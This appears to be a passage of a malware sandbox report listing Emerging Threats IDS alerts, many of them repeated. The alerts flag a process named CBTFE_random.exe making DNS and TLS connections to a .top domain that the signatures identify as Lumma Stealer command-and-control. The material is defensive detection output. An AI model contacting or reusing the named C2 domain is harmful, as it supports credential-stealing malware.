ET DNS Query to a *.top domain - Likely Hostile
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clarmodq .top)
7732
CBTFE_random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
7732
CBTFE_random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)
7732
CBTFE_random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)
7732
CBTFE_random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)
7732
CBTFE_random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)
7732
CBTFE_random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)
No debug info